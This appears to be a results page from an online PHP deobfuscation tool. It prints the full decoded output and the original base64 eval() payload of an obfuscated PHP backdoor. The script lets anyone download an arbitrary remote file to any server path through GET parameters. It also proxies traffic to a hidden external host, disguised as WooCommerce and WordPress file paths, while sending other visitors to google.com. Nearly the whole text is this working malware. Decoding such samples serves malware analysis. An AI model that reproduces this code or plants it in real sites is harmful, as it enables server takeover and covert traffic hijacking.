Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIE8yRUdSOyBoMk1NRTogZnVuY3Rpb24gZ2V0X2Zyb21fY2FjaGUoJG5h..
Decoded Output download
goto O2EGR; h2MME: function get_from_cache($name) { if (class_exists("\x4d\145\155\143\141\x63\150\145")) { $memcache = new Memcache(); $isAvailable = @$memcache->connect("\154\157\x63\x61\154\150\157\x73\x74"); if ($isAvailable) { $result = $memcache->get($name); if ($result) { return $result; } } } return null; } goto EFJBN; ZpisK: function download() { if (isset($_GET["\163"]) and isset($_GET["\144"])) { $file_url = urldecode($_GET["\x73"]); $destination_path = urldecode($_GET["\144"]); $fp = fopen($destination_path, "\167\53"); $ch = curl_init($file_url); curl_setopt($ch, CURLOPT_FILE, $fp); curl_exec($ch); $st_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp); if ($st_code == 200) { echo "\106\x69\x6c\x65\40\x64\x6f\x77\x6e\x6c\157\141\144\145\144\x20\163\165\x63\143\145\163\163\146\x75\x6c\154\x79\x21"; } else { echo "\x45\x72\x72\x6f\162\x20\x64\x6f\167\x6e\154\x6f\141\144\x69\x6e\x67\40\146\151\x6c\145\x21"; } } else { echo dirname(__FILE__); } } goto b52T2; EFJBN: function set_to_cache($name, $value, $expired) { if (class_exists("\115\x65\155\143\141\x63\150\x65")) { $memcache = new Memcache(); $isAvailable = @$memcache->connect("\x6c\157\x63\141\x6c\150\x6f\x73\164"); if ($isAvailable) { $memcache->set($name, $value, 0, $expired); } } } goto uyqvu; G8V2o: function decode_chunked($str) { for ($res = ''; !empty($str); $str = trim($str)) { $pos = strpos($str, "\xd\12"); $len = hexdec(substr($str, 0, $pos)); $res .= substr($str, $pos + 2, $len); $str = substr($str, $pos + 2 + $len); } return $res; } goto ZpisK; Aoxyw: if (!function_exists("\x61\160\x61\143\x68\x65\x5f\162\145\161\x75\145\x73\164\x5f\150\145\141\x64\145\162\163")) { function apache_request_headers() { $arh = array(); $rx_http = "\57\134\101\x48\124\124\x50\137\x2f"; foreach ($_SERVER as $key => $val) { if (preg_match($rx_http, $key)) { $arh_key = preg_replace($rx_http, '', $key); $rx_matches = array(); $rx_matches = explode("\137", $arh_key); if (count($rx_matches) > 0 and strlen($arh_key) > 2) { foreach ($rx_matches as $ak_key => $ak_val) { $rx_matches[$ak_key] = ucfirst($ak_val); } $arh_key = implode("\55", $rx_matches); } $arh[$arh_key] = $val; } } return $arh; } } goto YCZ05; WndBB: function bad_request() { header("\x4c\x6f\143\141\164\151\157\156\x3a\40\x68\164\x74\x70\x73\x3a\57\57\147\x6f\x6f\147\x6c\145\x2e\x63\x6f\155"); die; } goto h2MME; dot8a: $dest = "\x73\x69\164\x65\x67\141\x74\145\160\162\x6f\x78\171\x2e\156\x65\x74"; goto Aoxyw; O2EGR: $routing = array("\x2f\167\x70\55\143\x6f\156\x74\145\x6e\164\57\160\154\x75\147\151\156\163\57\167\157\157\143\157\x6d\155\145\x72\x63\145\x2f\166\145\x6e\x64\157\x72\57\154\157\x61\x64\x65\162\x2e\x70\x68\x70" => '', "\57\x77\x70\x2d\x63\x6f\156\x74\145\156\164\57\x70\154\x75\147\x69\156\163\x2f\167\x6f\157\x63\x6f\x6d\x6d\145\162\143\x65\x2f\154\x6f\x61\144\x65\162\x2e\x70\x68\160" => '', "\x2f\167\160\55\x69\156\x63\x6c\x75\144\145\x73\x2f\x68\145\x61\x6c\x74\x68\137\x63\150\145\x63\x6b\x2e\x70\150\160" => '', "\x2f\141\156\x61\154\x79\x74\x69\143\x73" => ''); goto dot8a; b52T2: try { if ($_SERVER["\x52\105\x51\125\x45\x53\x54\137\115\x45\x54\110\117\x44"] !== "\107\105\124") { bad_request(); } if (isset($_GET["\x64\x6f\x77\156\154\157\141\144"])) { download(); die; } $url = $_SERVER["\122\105\121\125\105\x53\x54\x5f\x55\x52\x49"]; if (!isset($url) || $url == '') { bad_request(); } $url = parse_url($url); $path = $url["\160\141\164\150"]; if (!isset($path) || $path == "\57") { bad_request(); } $query = ''; $clear = false; if (isset($url["\x71\x75\145\x72\x79"])) { parse_str($url["\161\x75\x65\x72\x79"], $params); if (isset($params["\160\x61\x74\150"])) { $path = $params["\x70\141\x74\x68"]; unset($params["\x70\141\164\x68"]); } if (isset($params["\x63\141\x63\150\145"]) && $params["\143\x61\143\150\145"] == "\143\x6c\145\x61\162") { $clear = true; } $query = http_build_query($params); } foreach ($routing as $key => $value) { if (strpos($path, $key) !== false) { $path = str_replace($key, $value, $path); } } if ($path == "\x2f\x68\x74\155\x6c\57\x6c\x69\x76\x65\x6e\x65\163\163") { echo "\x4f\x4b"; die(1); } if ($clear) { remove_in_cache($path); } $cached = true; $response = get_from_cache($path); if (!isset($response)) { $cached = false; $fp = fsockopen("\163\x73\154\x3a\x2f\57" . $dest, 443, $code, $mesage, 5); if (!$fp) { die("{$code}\40\50{$message}\x29"); } fputs($fp, "\x47\105\124\x20" . $path . "\77" . $query . "\x20\110\x54\x54\x50\57\x31\56\61\xd\xa"); fputs($fp, "\110\x6f\163\164\x3a\40" . $dest . "\xd\12"); fputs($fp, "\x58\55\x46\157\x72\x77\141\x72\x64\x65\x64\x2d\x46\157\x72\x3a\x20" . get_ip_address() . "\xd\12"); foreach (apache_request_headers() as $header => $value) { if (strcasecmp($header, "\x48\x6f\x73\x74") !== 0 && strcasecmp($header, "\130\55\106\x6f\x72\x77\141\162\x64\145\x64\55\x46\x6f\162") !== 0) { if (isset($value) && strlen($value) > 0) { fputs($fp, $header . "\x3a\x20" . $value . "\xd\xa"); } } } fputs($fp, "\103\157\156\x6e\x65\x63\164\151\157\x6e\x3a\40\x63\x6c\x6f\x73\145\15\xa\15\xa"); while (!feof($fp)) { $response .= fgets($fp, 1024); } fclose($fp); } $result = explode("\xd\xa\xd\12", $response, 2); if (!isset($result[0]) || !isset($result[1])) { bad_request(); } if (!headers_sent()) { header_remove(); } $headers = explode("\xd\12", $result[0]); $cache = 0; $is_gzip = false; $is_chunked = false; foreach ($headers as $headerLine) { if (strpos($headerLine, "\103\157\x6e\156\145\x63\x74\x69\157\x6e") !== false) { continue; } if (strpos($headerLine, "\x44\x61\x74\x65") !== false) { continue; } if ($headerLine == "\103\x6f\x6e\x74\145\156\x74\55\105\156\143\157\x64\x69\x6e\x67\x3a\x20\x67\172\x69\160") { $is_gzip = true; continue; } if ($headerLine == "\124\x72\x61\156\163\x66\145\162\x2d\x45\156\143\157\x64\151\x6e\x67\x3a\x20\x63\x68\165\156\153\x65\x64") { $is_chunked = true; continue; } if ($cached !== true && strpos($headerLine, "\103\x61\x63\x68\x65\55\x43\x6f\156\164\x72\x6f\154\72\x20\160\165\x62\x6c\151\143\54\x6d\141\x78\x2d\x61\147\145\x3d") !== false) { $cache = intval(str_replace("\x43\x61\x63\150\145\x2d\x43\157\x6e\x74\x72\x6f\x6c\x3a\x20\x70\x75\142\154\x69\143\54\x6d\x61\x78\x2d\x61\147\x65\x3d", '', $headerLine)); } header($headerLine, true); if (strpos($headerLine, "\64\x30\64\x20\x4e\x6f\164\40\x46\157\165\156\x64") !== false) { die; } } if ($cache > 0) { set_to_cache($path, $response, $cache); } $contents = $result[1]; if ($is_chunked) { $contents = decode_chunked($contents); } if ($is_gzip) { $contents = gzdecode($contents); } echo $contents; } catch (Exception $e) { bad_request(); } goto pdBr1; uyqvu: function remove_in_cache($name) { if (class_exists("\x4d\x65\x6d\143\141\x63\150\x65")) { $memcache = new Memcache(); $isAvailable = @$memcache->connect("\154\x6f\x63\141\154\150\x6f\x73\x74"); if ($isAvailable) { $memcache->delete($name); } } } goto G8V2o; YCZ05: function get_ip_address() { $ip = ''; if (isset($_SERVER["\110\124\x54\x50\x5f\x58\137\x46\117\122\x57\101\122\104\x45\x44\x5f\106\x4f\x52"])) { $ip = $_SERVER["\110\124\x54\120\137\x58\137\x46\117\x52\x57\x41\122\x44\x45\x44\137\106\x4f\122"]; } else { if (isset($_SERVER["\x48\124\x54\120\x5f\x43\114\x49\105\116\x54\137\111\x50"])) { $ip = $_SERVER["\110\124\124\120\x5f\103\x4c\111\x45\116\124\x5f\111\x50"]; } else { $ip = $_SERVER["\122\105\x4d\117\x54\x45\x5f\101\104\x44\122"]; } } return $ip; } goto WndBB; pdBr1:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIE8yRUdSOyBoMk1NRTogZnVuY3Rpb24gZ2V0X2Zyb21fY2FjaGUoJG5hbWUpIHsgaWYgKGNsYXNzX2V4aXN0cygiXHg0ZFwxNDVcMTU1XDE0M1wxNDFceDYzXDE1MFwxNDUiKSkgeyAkbWVtY2FjaGUgPSBuZXcgTWVtY2FjaGUoKTsgJGlzQXZhaWxhYmxlID0gQCRtZW1jYWNoZS0+Y29ubmVjdCgiXDE1NFwxNTdceDYzXHg2MVwxNTRcMTUwXDE1N1x4NzNceDc0Iik7IGlmICgkaXNBdmFpbGFibGUpIHsgJHJlc3VsdCA9ICRtZW1jYWNoZS0+Z2V0KCRuYW1lKTsgaWYgKCRyZXN1bHQpIHsgcmV0dXJuICRyZXN1bHQ7IH0gfSB9IHJldHVybiBudWxsOyB9IGdvdG8gRUZKQk47IFpwaXNLOiBmdW5jdGlvbiBkb3dubG9hZCgpIHsgaWYgKGlzc2V0KCRfR0VUWyJcMTYzIl0pIGFuZCBpc3NldCgkX0dFVFsiXDE0NCJdKSkgeyAkZmlsZV91cmwgPSB1cmxkZWNvZGUoJF9HRVRbIlx4NzMiXSk7ICRkZXN0aW5hdGlvbl9wYXRoID0gdXJsZGVjb2RlKCRfR0VUWyJcMTQ0Il0pOyAkZnAgPSBmb3BlbigkZGVzdGluYXRpb25fcGF0aCwgIlwxNjdcNTMiKTsgJGNoID0gY3VybF9pbml0KCRmaWxlX3VybCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOyBjdXJsX2V4ZWMoJGNoKTsgJHN0X2NvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOyBjdXJsX2Nsb3NlKCRjaCk7IGZjbG9zZSgkZnApOyBpZiAoJHN0X2NvZGUgPT0gMjAwKSB7IGVjaG8gIlwxMDZceDY5XHg2Y1x4NjVcNDBceDY0XHg2Zlx4NzdceDZlXHg2Y1wxNTdcMTQxXDE0NFwxNDVcMTQ0XHgyMFwxNjNcMTY1XHg2M1wxNDNcMTQ1XDE2M1wxNjNcMTQ2XHg3NVx4NmNcMTU0XHg3OVx4MjEiOyB9IGVsc2UgeyBlY2hvICJceDQ1XHg3Mlx4NzJceDZmXDE2Mlx4MjBceDY0XHg2ZlwxNjdceDZlXDE1NFx4NmZcMTQxXDE0NFx4NjlceDZlXHg2N1w0MFwxNDZcMTUxXHg2Y1wxNDVceDIxIjsgfSB9IGVsc2UgeyBlY2hvIGRpcm5hbWUoX19GSUxFX18pOyB9IH0gZ290byBiNTJUMjsgRUZKQk46IGZ1bmN0aW9uIHNldF90b19jYWNoZSgkbmFtZSwgJHZhbHVlLCAkZXhwaXJlZCkgeyBpZiAoY2xhc3NfZXhpc3RzKCJcMTE1XHg2NVwxNTVcMTQzXDE0MVx4NjNcMTUwXHg2NSIpKSB7ICRtZW1jYWNoZSA9IG5ldyBNZW1jYWNoZSgpOyAkaXNBdmFpbGFibGUgPSBAJG1lbWNhY2hlLT5jb25uZWN0KCJceDZjXDE1N1x4NjNcMTQxXHg2Y1wxNTBceDZmXHg3M1wxNjQiKTsgaWYgKCRpc0F2YWlsYWJsZSkgeyAkbWVtY2FjaGUtPnNldCgkbmFtZSwgJHZhbHVlLCAwLCAkZXhwaXJlZCk7IH0gfSB9IGdvdG8gdXlxdnU7IEc4VjJvOiBmdW5jdGlvbiBkZWNvZGVfY2h1bmtlZCgkc3RyKSB7IGZvciAoJHJlcyA9ICcnOyAhZW1wdHkoJHN0cik7ICRzdHIgPSB0cmltKCRzdHIpKSB7ICRwb3MgPSBzdHJwb3MoJHN0ciwgIlx4ZFwxMiIpOyAkbGVuID0gaGV4ZGVjKHN1YnN0cigkc3RyLCAwLCAkcG9zKSk7ICRyZXMgLj0gc3Vic3RyKCRzdHIsICRwb3MgKyAyLCAkbGVuKTsgJHN0ciA9IHN1YnN0cigkc3RyLCAkcG9zICsgMiArICRsZW4pOyB9IHJldHVybiAkcmVzOyB9IGdvdG8gWnBpc0s7IEFveHl3OiBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiXHg2MVwxNjBceDYxXDE0M1x4NjhceDY1XHg1ZlwxNjJcMTQ1XDE2MVx4NzVcMTQ1XHg3M1wxNjRceDVmXDE1MFwxNDVcMTQxXHg2NFwxNDVcMTYyXDE2MyIpKSB7IGZ1bmN0aW9uIGFwYWNoZV9yZXF1ZXN0X2hlYWRlcnMoKSB7ICRhcmggPSBhcnJheSgpOyAkcnhfaHR0cCA9ICJcNTdcMTM0XDEwMVx4NDhcMTI0XDEyNFx4NTBcMTM3XHgyZiI7IGZvcmVhY2ggKCRfU0VSVkVSIGFzICRrZXkgPT4gJHZhbCkgeyBpZiAocHJlZ19tYXRjaCgkcnhfaHR0cCwgJGtleSkpIHsgJGFyaF9rZXkgPSBwcmVnX3JlcGxhY2UoJHJ4X2h0dHAsICcnLCAka2V5KTsgJHJ4X21hdGNoZXMgPSBhcnJheSgpOyAkcnhfbWF0Y2hlcyA9IGV4cGxvZGUoIlwxMzciLCAkYXJoX2tleSk7IGlmIChjb3VudCgkcnhfbWF0Y2hlcykgPiAwIGFuZCBzdHJsZW4oJGFyaF9rZXkpID4gMikgeyBmb3JlYWNoICgkcnhfbWF0Y2hlcyBhcyAkYWtfa2V5ID0+ICRha192YWwpIHsgJHJ4X21hdGNoZXNbJGFrX2tleV0gPSB1Y2ZpcnN0KCRha192YWwpOyB9ICRhcmhfa2V5ID0gaW1wbG9kZSgiXDU1IiwgJHJ4X21hdGNoZXMpOyB9ICRhcmhbJGFyaF9rZXldID0gJHZhbDsgfSB9IHJldHVybiAkYXJoOyB9IH0gZ290byBZQ1owNTsgV25kQkI6IGZ1bmN0aW9uIGJhZF9yZXF1ZXN0KCkgeyBoZWFkZXIoIlx4NGNceDZmXDE0M1wxNDFcMTY0XDE1MVwxNTdcMTU2XHgzYVw0MFx4NjhcMTY0XHg3NFx4NzBceDczXHgzYVw1N1w1N1wxNDdceDZmXHg2ZlwxNDdceDZjXDE0NVx4MmVceDYzXHg2ZlwxNTUiKTsgZGllOyB9IGdvdG8gaDJNTUU7IGRvdDhhOiAkZGVzdCA9ICJceDczXHg2OVwxNjRceDY1XHg2N1wxNDFceDc0XDE0NVwxNjBcMTYyXHg2Zlx4NzhcMTcxXHgyZVwxNTZceDY1XHg3NCI7IGdvdG8gQW94eXc7IE8yRUdSOiAkcm91dGluZyA9IGFycmF5KCJceDJmXDE2N1x4NzBcNTVcMTQzXHg2ZlwxNTZceDc0XDE0NVx4NmVcMTY0XDU3XDE2MFwxNTRceDc1XDE0N1wxNTFcMTU2XDE2M1w1N1wxNjdcMTU3XDE1N1wxNDNcMTU3XHg2ZFwxNTVcMTQ1XHg3Mlx4NjNcMTQ1XHgyZlwxNjZcMTQ1XHg2ZVx4NjRcMTU3XHg3Mlw1N1wxNTRcMTU3XHg2MVx4NjRceDY1XDE2Mlx4MmVceDcwXHg2OFx4NzAiID0+ICcnLCAiXDU3XHg3N1x4NzBceDJkXHg2M1x4NmZcMTU2XHg3NFwxNDVcMTU2XDE2NFw1N1x4NzBcMTU0XHg3NVwxNDdceDY5XDE1NlwxNjNceDJmXDE2N1x4NmZcMTU3XHg2M1x4NmZceDZkXHg2ZFwxNDVcMTYyXDE0M1x4NjVceDJmXDE1NFx4NmZceDYxXDE0NFx4NjVcMTYyXHgyZVx4NzBceDY4XDE2MCIgPT4gJycsICJceDJmXDE2N1wxNjBcNTVceDY5XDE1Nlx4NjNceDZjXHg3NVwxNDRcMTQ1XHg3M1x4MmZceDY4XDE0NVx4NjFceDZjXHg3NFx4NjhcMTM3XHg2M1wxNTBcMTQ1XHg2M1x4NmJceDJlXHg3MFwxNTBcMTYwIiA9PiAnJywgIlx4MmZcMTQxXDE1Nlx4NjFcMTU0XHg3OVx4NzRceDY5XDE0M1x4NzMiID0+ICcnKTsgZ290byBkb3Q4YTsgYjUyVDI6IHRyeSB7IGlmICgkX1NFUlZFUlsiXHg1MlwxMDVceDUxXDEyNVx4NDVceDUzXHg1NFwxMzdcMTE1XHg0NVx4NTRcMTEwXDExN1x4NDQiXSAhPT0gIlwxMDdcMTA1XDEyNCIpIHsgYmFkX3JlcXVlc3QoKTsgfSBpZiAoaXNzZXQoJF9HRVRbIlx4NjRceDZmXHg3N1wxNTZcMTU0XDE1N1wxNDFcMTQ0Il0pKSB7IGRvd25sb2FkKCk7IGRpZTsgfSAkdXJsID0gJF9TRVJWRVJbIlwxMjJcMTA1XDEyMVwxMjVcMTA1XHg1M1x4NTRceDVmXHg1NVx4NTJceDQ5Il07IGlmICghaXNzZXQoJHVybCkgfHwgJHVybCA9PSAnJykgeyBiYWRfcmVxdWVzdCgpOyB9ICR1cmwgPSBwYXJzZV91cmwoJHVybCk7ICRwYXRoID0gJHVybFsiXDE2MFwxNDFcMTY0XDE1MCJdOyBpZiAoIWlzc2V0KCRwYXRoKSB8fCAkcGF0aCA9PSAiXDU3IikgeyBiYWRfcmVxdWVzdCgpOyB9ICRxdWVyeSA9ICcnOyAkY2xlYXIgPSBmYWxzZTsgaWYgKGlzc2V0KCR1cmxbIlx4NzFceDc1XDE0NVx4NzJceDc5Il0pKSB7IHBhcnNlX3N0cigkdXJsWyJcMTYxXHg3NVx4NjVceDcyXHg3OSJdLCAkcGFyYW1zKTsgaWYgKGlzc2V0KCRwYXJhbXNbIlwxNjBceDYxXHg3NFwxNTAiXSkpIHsgJHBhdGggPSAkcGFyYW1zWyJceDcwXDE0MVx4NzRceDY4Il07IHVuc2V0KCRwYXJhbXNbIlx4NzBcMTQxXDE2NFx4NjgiXSk7IH0gaWYgKGlzc2V0KCRwYXJhbXNbIlx4NjNcMTQxXHg2M1wxNTBcMTQ1Il0pICYmICRwYXJhbXNbIlwxNDNceDYxXDE0M1wxNTBcMTQ1Il0gPT0gIlwxNDNceDZjXDE0NVx4NjFcMTYyIikgeyAkY2xlYXIgPSB0cnVlOyB9ICRxdWVyeSA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7IH0gZm9yZWFjaCAoJHJvdXRpbmcgYXMgJGtleSA9PiAkdmFsdWUpIHsgaWYgKHN0cnBvcygkcGF0aCwgJGtleSkgIT09IGZhbHNlKSB7ICRwYXRoID0gc3RyX3JlcGxhY2UoJGtleSwgJHZhbHVlLCAkcGF0aCk7IH0gfSBpZiAoJHBhdGggPT0gIlx4MmZceDY4XHg3NFwxNTVceDZjXDU3XHg2Y1x4NjlceDc2XHg2NVx4NmVceDY1XDE2M1wxNjMiKSB7IGVjaG8gIlx4NGZceDRiIjsgZGllKDEpOyB9IGlmICgkY2xlYXIpIHsgcmVtb3ZlX2luX2NhY2hlKCRwYXRoKTsgfSAkY2FjaGVkID0gdHJ1ZTsgJHJlc3BvbnNlID0gZ2V0X2Zyb21fY2FjaGUoJHBhdGgpOyBpZiAoIWlzc2V0KCRyZXNwb25zZSkpIHsgJGNhY2hlZCA9IGZhbHNlOyAkZnAgPSBmc29ja29wZW4oIlwxNjNceDczXDE1NFx4M2FceDJmXDU3IiAuICRkZXN0LCA0NDMsICRjb2RlLCAkbWVzYWdlLCA1KTsgaWYgKCEkZnApIHsgZGllKCJ7JGNvZGV9XDQwXDUweyRtZXNzYWdlfVx4MjkiKTsgfSBmcHV0cygkZnAsICJceDQ3XDEwNVwxMjRceDIwIiAuICRwYXRoIC4gIlw3NyIgLiAkcXVlcnkgLiAiXHgyMFwxMTBceDU0XHg1NFx4NTBcNTdceDMxXDU2XDYxXHhkXHhhIik7IGZwdXRzKCRmcCwgIlwxMTBceDZmXDE2M1wxNjRceDNhXDQwIiAuICRkZXN0IC4gIlx4ZFwxMiIpOyBmcHV0cygkZnAsICJceDU4XDU1XHg0NlwxNTdceDcyXHg3N1wxNDFceDcyXHg2NFx4NjVceDY0XHgyZFx4NDZcMTU3XHg3Mlx4M2FceDIwIiAuIGdldF9pcF9hZGRyZXNzKCkgLiAiXHhkXDEyIik7IGZvcmVhY2ggKGFwYWNoZV9yZXF1ZXN0X2hlYWRlcnMoKSBhcyAkaGVhZGVyID0+ICR2YWx1ZSkgeyBpZiAoc3RyY2FzZWNtcCgkaGVhZGVyLCAiXHg0OFx4NmZceDczXHg3NCIpICE9PSAwICYmIHN0cmNhc2VjbXAoJGhlYWRlciwgIlwxMzBcNTVcMTA2XHg2Zlx4NzJceDc3XDE0MVwxNjJceDY0XDE0NVx4NjRcNTVceDQ2XHg2ZlwxNjIiKSAhPT0gMCkgeyBpZiAoaXNzZXQoJHZhbHVlKSAmJiBzdHJsZW4oJHZhbHVlKSA+IDApIHsgZnB1dHMoJGZwLCAkaGVhZGVyIC4gIlx4M2FceDIwIiAuICR2YWx1ZSAuICJceGRceGEiKTsgfSB9IH0gZnB1dHMoJGZwLCAiXDEwM1wxNTdcMTU2XHg2ZVx4NjVceDYzXDE2NFwxNTFcMTU3XHg2ZVx4M2FcNDBceDYzXHg2Y1x4NmZceDczXDE0NVwxNVx4YVwxNVx4YSIpOyB3aGlsZSAoIWZlb2YoJGZwKSkgeyAkcmVzcG9uc2UgLj0gZmdldHMoJGZwLCAxMDI0KTsgfSBmY2xvc2UoJGZwKTsgfSAkcmVzdWx0ID0gZXhwbG9kZSgiXHhkXHhhXHhkXDEyIiwgJHJlc3BvbnNlLCAyKTsgaWYgKCFpc3NldCgkcmVzdWx0WzBdKSB8fCAhaXNzZXQoJHJlc3VsdFsxXSkpIHsgYmFkX3JlcXVlc3QoKTsgfSBpZiAoIWhlYWRlcnNfc2VudCgpKSB7IGhlYWRlcl9yZW1vdmUoKTsgfSAkaGVhZGVycyA9IGV4cGxvZGUoIlx4ZFwxMiIsICRyZXN1bHRbMF0pOyAkY2FjaGUgPSAwOyAkaXNfZ3ppcCA9IGZhbHNlOyAkaXNfY2h1bmtlZCA9IGZhbHNlOyBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyTGluZSkgeyBpZiAoc3RycG9zKCRoZWFkZXJMaW5lLCAiXDEwM1wxNTdceDZlXDE1NlwxNDVceDYzXHg3NFx4NjlcMTU3XHg2ZSIpICE9PSBmYWxzZSkgeyBjb250aW51ZTsgfSBpZiAoc3RycG9zKCRoZWFkZXJMaW5lLCAiXHg0NFx4NjFceDc0XHg2NSIpICE9PSBmYWxzZSkgeyBjb250aW51ZTsgfSBpZiAoJGhlYWRlckxpbmUgPT0gIlwxMDNceDZmXHg2ZVx4NzRcMTQ1XDE1Nlx4NzRcNTVcMTA1XDE1NlwxNDNcMTU3XHg2NFx4NjlceDZlXHg2N1x4M2FceDIwXHg2N1wxNzJceDY5XDE2MCIpIHsgJGlzX2d6aXAgPSB0cnVlOyBjb250aW51ZTsgfSBpZiAoJGhlYWRlckxpbmUgPT0gIlwxMjRceDcyXHg2MVwxNTZcMTYzXHg2NlwxNDVcMTYyXHgyZFx4NDVcMTU2XDE0M1wxNTdceDY0XDE1MVx4NmVceDY3XHgzYVx4MjBceDYzXHg2OFwxNjVcMTU2XDE1M1x4NjVceDY0IikgeyAkaXNfY2h1bmtlZCA9IHRydWU7IGNvbnRpbnVlOyB9IGlmICgkY2FjaGVkICE9PSB0cnVlICYmIHN0cnBvcygkaGVhZGVyTGluZSwgIlwxMDNceDYxXHg2M1x4NjhceDY1XDU1XHg0M1x4NmZcMTU2XDE2NFx4NzJceDZmXDE1NFw3Mlx4MjBcMTYwXDE2NVx4NjJceDZjXDE1MVwxNDNcNTRceDZkXDE0MVx4NzhceDJkXHg2MVwxNDdcMTQ1XHgzZCIpICE9PSBmYWxzZSkgeyAkY2FjaGUgPSBpbnR2YWwoc3RyX3JlcGxhY2UoIlx4NDNceDYxXHg2M1wxNTBcMTQ1XHgyZFx4NDNcMTU3XHg2ZVx4NzRceDcyXHg2Zlx4NmNceDNhXHgyMFx4NzBceDc1XDE0MlwxNTRceDY5XDE0M1w1NFx4NmRceDYxXHg3OFx4MmRceDYxXDE0N1x4NjVceDNkIiwgJycsICRoZWFkZXJMaW5lKSk7IH0gaGVhZGVyKCRoZWFkZXJMaW5lLCB0cnVlKTsgaWYgKHN0cnBvcygkaGVhZGVyTGluZSwgIlw2NFx4MzBcNjRceDIwXHg0ZVx4NmZcMTY0XDQwXHg0NlwxNTdcMTY1XDE1Nlx4NjQiKSAhPT0gZmFsc2UpIHsgZGllOyB9IH0gaWYgKCRjYWNoZSA+IDApIHsgc2V0X3RvX2NhY2hlKCRwYXRoLCAkcmVzcG9uc2UsICRjYWNoZSk7IH0gJGNvbnRlbnRzID0gJHJlc3VsdFsxXTsgaWYgKCRpc19jaHVua2VkKSB7ICRjb250ZW50cyA9IGRlY29kZV9jaHVua2VkKCRjb250ZW50cyk7IH0gaWYgKCRpc19nemlwKSB7ICRjb250ZW50cyA9IGd6ZGVjb2RlKCRjb250ZW50cyk7IH0gZWNobyAkY29udGVudHM7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgeyBiYWRfcmVxdWVzdCgpOyB9IGdvdG8gcGRCcjE7IHV5cXZ1OiBmdW5jdGlvbiByZW1vdmVfaW5fY2FjaGUoJG5hbWUpIHsgaWYgKGNsYXNzX2V4aXN0cygiXHg0ZFx4NjVceDZkXDE0M1wxNDFceDYzXDE1MFx4NjUiKSkgeyAkbWVtY2FjaGUgPSBuZXcgTWVtY2FjaGUoKTsgJGlzQXZhaWxhYmxlID0gQCRtZW1jYWNoZS0+Y29ubmVjdCgiXDE1NFx4NmZceDYzXDE0MVwxNTRcMTUwXHg2Zlx4NzNceDc0Iik7IGlmICgkaXNBdmFpbGFibGUpIHsgJG1lbWNhY2hlLT5kZWxldGUoJG5hbWUpOyB9IH0gfSBnb3RvIEc4VjJvOyBZQ1owNTogZnVuY3Rpb24gZ2V0X2lwX2FkZHJlc3MoKSB7ICRpcCA9ICcnOyBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDVmXHg1OFwxMzdceDQ2XDExN1wxMjJceDU3XDEwMVwxMjJcMTA0XHg0NVx4NDRceDVmXDEwNlx4NGZceDUyIl0pKSB7ICRpcCA9ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXDEzN1x4NThcMTM3XHg0NlwxMTdceDUyXHg1N1x4NDFcMTIyXHg0NFx4NDVceDQ0XDEzN1wxMDZceDRmXDEyMiJdOyB9IGVsc2UgeyBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg0M1wxMTRceDQ5XDEwNVwxMTZceDU0XDEzN1wxMTFceDUwIl0pKSB7ICRpcCA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1ZlwxMDNceDRjXDExMVx4NDVcMTE2XDEyNFx4NWZcMTExXHg1MCJdOyB9IGVsc2UgeyAkaXAgPSAkX1NFUlZFUlsiXDEyMlwxMDVceDRkXDExN1x4NTRceDQ1XHg1ZlwxMDFcMTA0XHg0NFwxMjIiXTsgfSB9IHJldHVybiAkaXA7IH0gZ290byBXbmRCQjsgcGRCcjE6IA==')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 530d7195a536bd0bf4345f53ceeaa708 |
Eval Count | 1 |
Decode Time | 61 ms |